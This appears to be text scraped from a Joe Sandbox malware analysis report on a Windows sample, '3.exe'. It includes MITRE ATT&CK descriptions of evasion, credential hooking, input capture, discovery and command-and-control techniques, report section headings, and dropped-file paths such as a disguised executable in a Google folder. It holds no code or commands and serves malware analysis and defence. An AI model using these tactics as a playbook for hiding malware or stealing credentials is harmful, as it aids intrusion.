Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Google\C2485384.exe

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\ProgramData\Microsoft\Windows\ClipSVC\tokens.dat

C:\ProgramData\Microsoft\Windows\ClipSvc\tokens.dat.bak (copy)

Windows Analysis Report
3.exe

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre